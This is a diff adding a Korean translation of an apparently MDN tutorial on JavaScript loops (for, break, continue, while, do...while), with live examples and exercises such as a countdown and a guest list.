+        ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+        ctx.fill();
+      }
+    }
+
+    btn.addEventListener('click',draw);
+
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>지금 당장은 모든 코드를 이해할 필요는 없지만 실제로100개의 원을 그리는 코드를 살펴보자:</p>
+
+<pre class="brush: js notranslate">for (let i = 0; i &lt; 100; i++) {
+  ctx.beginPath();
+  ctx.fillStyle = 'rgba(255,0,0,0.5)';
+  ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+  ctx.fill();
+}</pre>
+
+<ul>
+ <li>코드의 앞부분에서 정의한<code>random()</code>은 <code>0</code> 그리고 <code>x-1</code>사이의 정수를 반환한다.</li>
+ <li><code>WIDTH</code> 그리고 <code>HEIGHT</code> 는 내부 브라우저 윈도우의 너비와 높이이다.</li>
+</ul>
+
+<p>우리는 이 코드를 100번 반복하기 위해서 loop를 사용하고 있다. 너는 여기에서 기본적인 아이디어를 얻을수 있다. 코드는 페이지에서 임의의 위치에 원을 그린다. 코드의 크기가 100개가 되든 1000개가 되든 또는 10,000개가 되든간에 동일하게 작업을 수행할것이다. 너는 숫자만 변경하면된다.</p>
+
+<p>만약 우리가 loop를 사용하지 않았다면 원을 그릴때마다 다음 코드를 반복해서 써야한다 :</p>
+
+<pre class="brush: js notranslate">ctx.beginPath();
+ctx.fillStyle = 'rgba(255,0,0,0.5)';
+ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+ctx.fill();</pre>
+
+<p>이것은 겁나 지루하고 빠르게 유지하기 힘들것이다. 이럴때 loop를 사용하는게가장 좋다.</p>
+
+<h2 id="루프의_표준">루프의 표준</h2>
+
+<p>특정 loop 구문을 살펴보도록 하자. 대부분의 시간을 보낼 첫번째는 for loop이다. 이 구문은 다음과 같다:</p>
+
+<pre class="notranslate">for (initializer; exit-condition; final-expression) {
+  // code to run
+}</pre>
+
+<p>여기서 우리가 알수있는것:</p>
+
+<ol>
+ <li><code>for</code> 라는 키워드를 쓰고 그옆에 괄호를 만든다.</li>
+ <li>괄호 안에는 세미콜론(;)으로 구분 된 세개의 항목이 있다.
+  <ol>
+   <li><strong>initializer</strong> — 일반적으로 숫자로 설정된 변수이며 루프가 실행 된 횟수가 얼마나 되는제 되는지 알기위해 증가한다 그것을 <strong>counter variable</strong>라고 한다.</li>
+   <li><strong>exit-condition</strong> — 앞에서 언급했듯이 loop가 loop를 언제 멈출지 정의한다. 이 조건은 일반적으로 비교 연산자, 종료 조건이 충족되었는지 확인하는 테스트를 특징으로 하는 표현식이다.</li>
+   <li>A <strong>final-expression</strong> — 이것은 매번 loop 전체가 반복이 될때 항상 분석(또는 실행)한다. 일반적으로 <strong>counter variable</strong>를 증가(또는 경우에 따라 감소)하여 종료 조건 값으로 점점 가까워진다.</li>
+  </ol>
+ </li>
+ <li>코드 블럭을 감싸는 중괄호({}) — 중괄호 안에 있는 코드는 loop가 반복 될 때마다 실행된다.</li>
+</ol>
+
+<p>실제 예제를 보면서 이러한 것들이 무엇을 더 확실하게 시각화 할 수 있는지 살펴보자.</p>
+
+<pre class="brush: js notranslate">const cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
+let info = 'My cats are called ';
+const para = document.querySelector('p');
+
+for (let i = 0; i &lt; cats.length; i++) {
+  info += cats[i] + ', ';
+}
+
+para.textContent = info;</pre>
+
+<p>이것은 우리에게 다음과 같은 결과를 보여준다:</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_2">Hidden code 2</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Basic for loop example&lt;/title&gt;
+    &lt;style&gt;
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;p&gt;&lt;/p&gt;
+
+
+    &lt;script&gt;
+    const cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
+    let info = 'My cats are called ';
+    const para = document.querySelector('p');
+
+    for (let i = 0; i &lt; cats.length; i++) {
+      info += cats[i] + ', ';
+    }
+
+    para.textContent = info;
+
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code_2', '100%', 60, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: 너는 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html">example code on GitHub</a> too (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html">see it running live</a>)에서 예제를 찾을수 있다.</p>
+</div>
+
+<p>이것은 배열의 항목을 반복하는 데 사용되는 loop를 보여 주며 각각의 항목을 사용하여 JavaScript에서 매우 일반적인 패턴을 나타낸다:</p>
+
+<ol>
+ <li>iterator <code>i</code>는 <code>0</code>에서부터 시작한다 (<code>let i = 0</code>).</li>
+ <li><code><font face="Arial, x-locale-body, sans-serif">cats의 배열의 길이보다 작을때 까지만 실행하라는 명령을 받았다. 이것은 중요하다. 종료 조건은 loop가 계속 실행되는 조건을 나타낸다. 따라서 이 경우에는 </font>i &lt; cats.length</code> 까지만 loop가 true여서 계속 실행된다.</li>
+ <li>loop 안에서 현재 loop항목(<code>cats[i가 몇번 실행되었던지 간에</code> <code>cats[i]</code> 는)과 쉼표 및 공백을 <code>info</code>변수 끝에 위치한다:
+  <ol>
+   <li>처음 실행되는 동안, <code>i = 0</code>, 이므로 <code>cats[0] + ', '</code> 는 info ("Bill, ")에 옆에 위치한다.</li>
+   <li>두번째로 실행되는 동안, <code>i = 1</code>, 이므로 <code>cats[1] + ', '</code> 역시 info ("Jeff, ")에 옆에 위치한다.</li>
+   <li>계속해서 loop가 실행될 때마다 1이 <code>i</code> (<code>i++</code>)에 추가되고, 프로세스가 다시 시작된다.</li>
+  </ol>
+ </li>
+ <li><code>i</code>의 값이  <code>cats.length</code>같아질때, loop는 멈추고, 브라우저는 loop 아래의 다음 코드로 넘어가게된다.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>:  컴퓨터는 1이 아닌 0부터 계산하기 때문에 exit 조건을<code>i &lt;= cats.length</code>이 아닌 <code>i &lt; cats.length</code>로 설정했다. — 우리는  <code>i</code> 를 <code>0</code>에서 시작해서,  <code>i = 4</code> (배열의 마지막 index 항목)까지 실행한다. <code>cats.length</code> 는 5개의 항목을 가지고있어 5까지 반환하지만 우리는 <code>i = 5</code>까지의 값을 원하지 않으므로 마지막 항목은 <code>undefined</code>를 반환하게 된다.(그래서 index가 5인 배열 항목이 존재하지 않는다.)그러므로  <code>cats.length</code> (<code>i &lt;=</code>) 를 쓰지 않고 <code>cats.length</code> (<code>i &lt;</code>)로 만들었다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: exit조건의 공통적인 실수는  "작거나 같다" (<code>&lt;=</code>)를 사용하는것보다  "동등"(<code>===</code>)을 사용하는것이다 . 만약 우리가 <code>i = 5</code>까지 loop를 사용한다면  exit 조건은 <code>i &lt;= cats.length</code>가 되어야 한다. 만약 우리가 <code>i === cats.length</code>로 설정한다면 그 loop는 전부를 실행하지 않을것이다 왜냐하면 <code>i</code>는 첫번째 loop에서 <code>5</code>와 같지 않기 때문에 작업이 즉시 중단된다. </p>
+</div>
+
+<p>우리는 마지막으로 출력되는 문장이 잘 만들어지지 않았다는 작은 문제를 가지고 있다.:</p>
+
+<blockquote>
+<p>My cats are called Bill, Jeff, Pete, Biggles, Jasmin,</p>
+</blockquote>
+
+<p>이상적으로 우리는 문장의 마지막에 쉼표가 없도록 마지막 loop 반복에서 연결을 변경하는것을 원한다 — 우리는 for loop 내부에서 조건부를 넣어서 이 특별한 경우를 처리할수 있다:</p>
+
+<pre class="brush: js notranslate">for (let i = 0; i &lt; cats.length; i++) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 너는 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for-improved.html">example code on GitHub</a> too (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for-improved.html">see it running live</a>)에서 예제를 찾아볼수있다.</p>
+</div>
+
+<div class="warning">
+<p><strong>중요</strong>: With for — 모든 loop와 마찬가지로 — initializer 가 반복되어 결국 종료 조건에 도달하는지 확인해야 한다. 그렇지 않으면 loop가 영원히 계속되고 브라우저가 강제로 중지 시키거나 충돌하게 된다. 이를  우리는 <strong>infinite loop(무한 루프)</strong>라 한다.</p>
+</div>
+
+<h2 id="Break을_가지고있는_loops">Break을 가지고있는 loops</h2>
+
+<p>만약 너가 모든 반복이 완료되기 전에 loop를 종료하려면 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/break">break</a> 문을 사용할수 있다. 우리는 이미 이전 설명에서 <a href="/en-US/Learn/JavaScript/Building_blocks/conditionals#switch_statements">switch statements</a>을 본적이 있다. — 입력 식과 일치하는 switch 문에서 case가 충족되면 break 문은 switch 문을 즉시 종료하고 그 뒤에 코드로 이동한다.</p>
+
+<p>이것은 loop와 같다. — <code>break</code> 문은 즉시 loop를 빠져 나와 브라우저가 그 다음에 나오는 코드로 이동하게 한다.</p>
+
+<p>여러 연락처와 전화 번호를 검색하여 찾고자 하는 번호 만 반환하고 싶다고 해보자 먼저 간단한 HTML — 우리가 검색할 이름을 입력 할 수 잇께 해주는 텍스트 {{htmlelement("input")}}, 검색 제출을 위한 {{htmlelement("button")}}요소, 그리고 {{htmlelement("p")}} 요소를 사용해 결과를 표시하자:</p>
+
+<pre class="brush: html notranslate">&lt;label for="search"&gt;Search by contact name: &lt;/label&gt;
+&lt;input id="search" type="text"&gt;
+&lt;button&gt;Search&lt;/button&gt;
+
+&lt;p&gt;&lt;/p&gt;</pre>
+
+<p>이제 JavaScript를 보자:</p>
+
+<pre class="brush: js notranslate">const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
+const para = document.querySelector('p');
+const input = document.querySelector('input');
+const btn = document.querySelector('button');
+
+btn.addEventListener('click', function() {
+  let searchName = input.value;
+  input.value = '';
+  input.focus();
+  for (let i = 0; i &lt; contacts.length; i++) {
+    let splitContact = contacts[i].split(':');
+    if (splitContact[0] === searchName) {
+      para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
+      break;
+    } else {
+      para.textContent = 'Contact not found.';
+    }
+  }
+});</pre>
+
+<div class="hidden">
+<h6 id="Hidden_code_3">Hidden code 3</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Simple contact search example&lt;/title&gt;
+    &lt;style&gt;
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;label for="search"&gt;Search by contact name: &lt;/label&gt;
+  &lt;input id="search" type="text"&gt;
+  &lt;button&gt;Search&lt;/button&gt;
+
+  &lt;p&gt;&lt;/p&gt;
+
+
+    &lt;script&gt;
+    const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
+    const para = document.querySelector('p');
+    const input = document.querySelector('input');
+    const btn = document.querySelector('button');
+
+    btn.addEventListener('click', function() {
+      let searchName = input.value;
+      input.value = '';
+      input.focus();
+      for (let i = 0; i &lt; contacts.length; i++) {
+        let splitContact = contacts[i].split(':');
+        if (splitContact[0] === searchName) {
+          para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
+          break;
+        } else if (i === contacts.length-1)
+              para.textContent = 'Contact not found.';
+        }
+    });
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code_3', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<ol>
+ <li>우선 우리는 몇 가지 변수 정의를 한다. 우리는 각 항목이 콜론(:)으로 구분 된 이름과 전화 번호를 포함하는 문자열인 연락처 정보 배열을 가지고 있다.</li>
+ <li>그 다음에는 버튼 (<code>btn</code>)에 EventListener에 연결하여 버튼을 누르면 검색을 수행하고 결과를 반환하는 코드를 실행한다.</li>
+ <li>텍스트 input을 비우고 text input 에 focus를 두기 전에, 다음 검색을 준비하기위해 <code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">텍스트 input에 입력한 값을 </span></font>searchName</code>이라는 변수에 저장한다.  </li>
+ <li>이제 for 반복문의 흥미로운 점을 보자:
+  <ol>
+   <li><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">카운터를 </span></font>0</code>에서 시작하고 카운터가 <code>contacts.length</code> 보다 커지지 않을때 까지 loop를 실행하고 <code>i</code> 를 1씩 증가시킨다.</li>
+   <li>반복문 내부에서 먼저 콜론 문자에서 현재 연락처(<code>contacts[i]</code>) 를 나누고 결과값이 두 값을<code>splitContact</code>라는 배열에 저장한다.</li>
+   <li><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">그런 다음 </span></font>splitContact[0]</code> (the contact's name)의 값과 입력된 값 <code>searchName</code>이 같은지 조건문을 이용하여 테스트한다. 두값이 같은 경우, 우리는 para 값에 문자열을 입력하여 연락처 번호를 알린후 <code>break</code> 을 사용하여 loop를 종료한다.</li>
+  </ol>
+ </li>
+ <li>
+  <p>연락처 이름<code>(contacts.length-1)</code> 을 반복한 후 연락처 이름이 입력 된 검색과 일치 하지 않으면 단락 텍스트가 "연락처 를 찾을 수 없습니다."로 설정되고 반복문이 계속 반복된다.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p>Note: 너는 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/contact-search.html">full source code on GitHub</a> too (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/contact-search.html">see it running live</a>) 에서 전체 코드를 볼수있다.</p>
+</div>
+
+<h2 id="Continue로_반복_건너뛰기">Continue로 반복 건너뛰기</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a>문은 <code>break</code>과 비슷한 방식으로 작동하지만 loop에서 완전히 벗어나는 대신 loop의 다음 반복으로 건너 뛰게된다. 숫자를 입력으로 사용하고 정수의 제곱 인 숫자 (정수)만 반환하는 또 다른 예를 살펴보자.</p>
+
+<p>HTML 코드는 기본적으로 마지막 예제와 같다 — 간단한 텍스트 입력 및 출력을 위한 단락, loop자체가 약간 다르긴 하지만 JavaScript는 대부분 동일하다 :</p>
+
+<pre class="brush: js notranslate">let num = input.value;
+
+for (let i = 1; i &lt;= num; i++) {
+  let sqRoot = Math.sqrt(i);
+  if (Math.floor(sqRoot) !== sqRoot) {
+    continue;
+  }
+
+  para.textContent += i + ' ';
+}</pre>
+
+<p>여기에서 출력값을 볼수있다:</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_4">Hidden code 4</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Integer squares generator&lt;/title&gt;
+    &lt;style&gt;
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;label for="number"&gt;Enter number: &lt;/label&gt;
+  &lt;input id="number" type="text"&gt;
+  &lt;button&gt;Generate integer squares&lt;/button&gt;
+
+  &lt;p&gt;Output: &lt;/p&gt;
+
+
+    &lt;script&gt;
+    const para = document.querySelector('p');
+    const input = document.querySelector('input');
+    const btn = document.querySelector('button');
+
+    btn.addEventListener('click', function() {
+      para.textContent = 'Output: ';
+      let num = input.value;
+      input.value = '';
+      input.focus();
+      for (let i = 1; i &lt;= num; i++) {
+        let sqRoot = Math.sqrt(i);
+        if (Math.floor(sqRoot) !== sqRoot) {
+          continue;
+        }
+
+        para.textContent += i + ' ';
+      }
+    });
+    &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code_4', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<ol>
+ <li>이 경우에 입력된 값은 숫자(<code>num</code>)여야 한다. <code>for</code> loop는 1에서 시작하는 카운터(이 경우에는 0에 관심이 없기 때문에), 카운터가 입력 <code>num</code> 보다 커질 때 루프가 중지 될 것이라고 말하는 종료 조건 및  매회 마다 1씩 증가되는 반복자가 주어진다.</li>
+ <li>Loop 내에서<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i)</a>를 사용하여 숫자의 제곱근을 찾은 다음 제곱근이 가장 가까운 정수로 반올림 된 경우와 같은지 테스트 하여 제곱근이 정수인지 확인한다. <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a>가 전달받은 숫자에 대해 정수로 바꿔준다.</li>
+ <li>만약 제곱근과 정수로 바뀐 제곱근이 서로 같지 않다면(<code>!==</code>) 제곱근이 정수가 아니므로 관심이 없다. 이 경우<code>continue</code> 문을 사용하여 번호를 기록하지 않고 다음 루프 반복으로 건너 뛴다.</li>
+ <li><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">만약 제곱근이 정수 인 경우 </span></font>continue</code> 문이 실행되지 않도록 if 블록을 지나치게 건너 뛴다. 대신 현재 <code>i</code> 값과 단락 내용 의 끝 부분에 공백을 연결한다.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: 너는  <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/integer-squares.html">full source code on GitHub</a> too (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/integer-squares.html">see it running live</a>)에서 전체 코드를 볼수 있다.</p>
+</div>
+
+<h2 id="while_그리고_do_..._while">while 그리고 do ... while</h2>
+
+<p><code>for</code> 는 JavaScript에서 사용할 수 잇는 유일한 유형의 loop가 아니다. 실제로 많은 다른 것들이 있따. 지금 모든 것을 이해할 필요는 없지만 약간 다른 방식으로 같은 기능을 인식 할 수 있도록 몇 가지 다른 구조를 살펴 보는것이 좋다.</p>
+
+<p>먼저 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a> loop를 살펴보자 이 loop의 구문은 다음과 같다:</p>
+
+<pre class="notranslate">initializer
+while (exit-condition) {
+  // code to run
+
+  final-expression
+}</pre>
+
+<p>이는 for loop와 매우 비슷하게 작동한다. 단,  initializer 변수가 loop 앞에 설정되어 있고, final-expression이 실행되는 코드 다음에 loop 내에 포함되어 있지 않다. 이 두개가 괄호 안에 포함되어 있지 않다. exit-조건은 괄호 안에 포함되며 <code>for</code>대신 <code>while</code> 키워드가 온다.</p>
+
+<p>같은 세 가지 항목이 여전히 존재하며 for loop와 동일한 순서로 정의되어 있다. exit 조건에 도달햇는지 여부를 확인 하기 전에 initializer를 정의해야 하므로 의미가 있다. loop 내부의 코드가 실행 된 후 최종 조건이 실행되고 (반복이 완료 되었다.) 이는 exit 조건에 아직 도달하지 않은 경우에만 발생한다. </p>
+
+<p>고양이 목록 예제를 다시 한번 살펴 보자 while loop를 사용하도록 다시 작성해 보자:</p>
+
+<pre class="brush: js notranslate">let i = 0;
+
+while (i &lt; cats.length) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 이것은 여전히 예상하는 바와 똑같이 작동한다  <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">running live on GitHub</a> (also view the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/while.html">full source code</a>).</p>
+</div>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a> loop 는 많이 비슷하지만 while 구조에 변형을 제공한다:</p>
+
+<pre class="notranslate">initializer
+do {
+  // code to run
+
+  final-expression
+} while (exit-condition)</pre>
+
+<p>이 경우 루프가 시작되기 전에 initializer가 다시 시작된다. <code>do</code> 키워드 는 실행할 코드와 최종 표현식을 포함하는 중괄호 바로 앞에 온다.</p>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">여기서 차별화 요소는 종료 조건이 그 밖의 모든 것 다음에 괄호로 묶여 있고 </span></font>while</code> 키워드로 시작한다는 것이다. <code>do...while</code> loop 에서 중괄호 안의 코드는 체크가 실행되기 전에 항상 한 번 실행되어 다시 실행되어야 하는지를 확인한다.( 체크가 먼저 오면 코드가 실행 되지 않을 수도 있다.)</p>
+
+<p><code>do...while</code> loop를 사용하기 위해 고양이 목록 예제를 다시 작성해 보자:</p>
+
+<pre class="brush: js notranslate">let i = 0;
+
+do {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+} while (i &lt; cats.length);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 다시 말하지만 이것은 예상했던 것과 똑같이 작동한다. <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html">running live on GitHub</a> (also view the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html">full source code</a>).</p>
+</div>
+
+<div class="warning">
+<p><strong>중요</strong>: while과 do ... while - while -  모든 loop와 마찬가지로 - initalizer 가 반복 되어 결국 종료 조건에 도달하는지 확인해야 한다. 그렇지 않으면 loop는 영원히 계속되고 브라우저가 강제로 종료 시키거나 충돌한다. 이를 <strong>infinite loop(무한 루프)라한다</strong>.</p>
+</div>
+
+<h2 id="활동_학습_카운트_다운_시작!">활동 학습: 카운트 다운 시작!</h2>
+
+<p>이 연습에서 출력 상자에 간단한 발사 카운트 다운을 인쇄하여 특히 우리가 원하는10에서 Blast off로 출력한다:</p>
+
+<ul>
+ <li>Loop를 10에서 0으로 반복한다 initializer — <code>let i = 10;</code>.</li>
+ <li>반복 할때 마다 새로운 단락을 만들어 <code>const output = document.querySelector('.output');</code> 를 사용하여 <code>&lt;div&gt;</code>에 추가한다. comments에서 우리는 loop의 어딘가에 사용되어야하는 세 개의 코드 라인을 제공했다:
+  <ul>
+   <li><code>const para = document.createElement('p');</code> — 새로운 단락 생성.</li>
+   <li><code>output.appendChild(para);</code> — 문단을 <code>&lt;div&gt;</code>에 추가</li>
+   <li><code>para.textContent =</code> — 단락 안의 텍스트를 등호 다음에 오른쪽에 놓은 것과 동일하게 만든다.</li>
+  </ul>
+ </li>
+ <li><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">다른 반복 숫자는 해당 반복에 대한 단락에 다른 텍스트를 넣어야한다.(조건문과 여러 문장이 필요하다 </span></font>para.textContent =</code> lines):
+  <ul>
+   <li>숫자가 10이면 단락에 "카우트 다운 10."을 출력해라</li>
+   <li>숫자가 0이면 "Blast off!"라고 단락에 출력해라.</li>
+   <li>다른 번호의 경우 단락에 숫자만 출력해라.</li>
+  </ul>
+ </li>
+ <li>반복자를 포함하는 것을 잊지 말아라! 그리고 이 예제에서 각각의 반복 후에 숫자가 증가되는게 아니게 카운트 다운을 하고있다.너는 <code>i++</code> 원하지 <strong>않는다.</strong>— 어떻게 아래로 반복시킬까?</li>
+</ul>
+
+<p>만약 실수를 한 경우 "재설정" 버튼을 사용하여 예제를 얼마든지 재설정 할수 있다. 정말 모르겠다면 "soultion보기"를 눌러 풀이를 보자</p>
+
+<div class="hidden">
+<h6 id="Active_learning">Active learning</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 410px;overflow: auto;"&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+&lt;textarea id="code" class="playable-code" style="height: 300px;width: 95%"&gt;
+let output = document.querySelector('.output');
+output.innerHTML = '';
+
+// let i = 10;
+
+// const para = document.createElement('p');
+// para.textContent = ;
+// output.appendChild(para);
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<pre class="brush: js notranslate">const textarea = document.getElementById('code');
+const reset = document.getElementById('reset');
+const solution = document.getElementById('solution');
+let code = textarea.value;
+let userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+let jsSolution = 'let output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nlet i = 10;\n\nwhile(i &gt;= 0) {\n let para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n  para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}';
+let solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  let scrollPos = textarea.scrollTop;
+  let caretPos = textarea.selectionStart;
+
+  let front = (textarea.value).substring(0, caretPos);
+  let back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+
+<p class="brush: js"></p>
+</div>
+
+<p>{{ EmbedLiveSample('Active_learning', '100%', 880, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="활동_학습_손님_목록_작성">활동 학습: 손님 목록 작성</h2>
+
+<p>이 연습에서 배열에 저장된 이름 목록을 가져 와서 손님 목록에 넣기를 원한다. 그러나 그것은 쉽지 않다. — 우리는 Phil과 Lola가 욕심 많고 무례하고, 항상 모든 음식을 먹기 때문에 Phil과 Lola를 들여 보내고 싶지 않다. 우리는 초대할 손님 목록과 거절할 손님목록을 가지고 있다.</p>
+
+<p>특히, 우리가 너에게 원하는 것:</p>
+
+<ul>
+ <li><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">0부터 </span></font>people</code> 배열의 길이까지 반복 할 loop를 작성해라. <code>let i = 0;</code> 를 initializer 로 시작해야 하지만 종료 조건은 무엇일까?</li>
+ <li>각 loop 반복 중에 조건문을 사용하여 현재 배열 항목이 "Phil"또는 "Lola"와 같은지 확인해라:
+  <ul>
+   <li>그럴 경우 배열 항목을 <code>refused</code> 된 단락의 <code>textContent</code>, 끝에 쉽표와 공백을 붙여 연결해라 .</li>
+   <li>그렇지 않은 경우 배열 항목을 <code>admitted</code> 된단락의 <code>textContent</code>, 끝에 연결하고 뒤에 쉼표와 공백을 붙인다.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>우리는 너에게 이미 아래의 것들을 제공했다:</p>
+
+<ul>
+ <li><code>let i = 0;</code> — 너의 initializer.</li>
+ <li><code>refused.textContent +=</code> —  <code>refused.textContent</code> 의 끝까지 무언가를 연결할 라인의 시작</li>
+ <li><code>admitted.textContent +=</code> — <code>admitted.textContent</code> 의 끝까지 무언가를 연결할 행의 시작 부분이다.</li>
+</ul>
+
+<p>추가 보너스 질문 — 위의 작업을 성공적으로 마친 후에는 쉼표로 구분 된 두 개의 이름 목록이 남지만 정리되지 않는다. 각 끝에 쉼표가 표시된다. 각각의 경우에 마지막 쉼표를 잘라내는 줄을 작성하는 방법을 알아 내고 마지막에 모든것을 멈추는 코드를 추가할수 있겠어? 도움이 되는 <a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a> 도움말을 읽어봐라.</p>
+
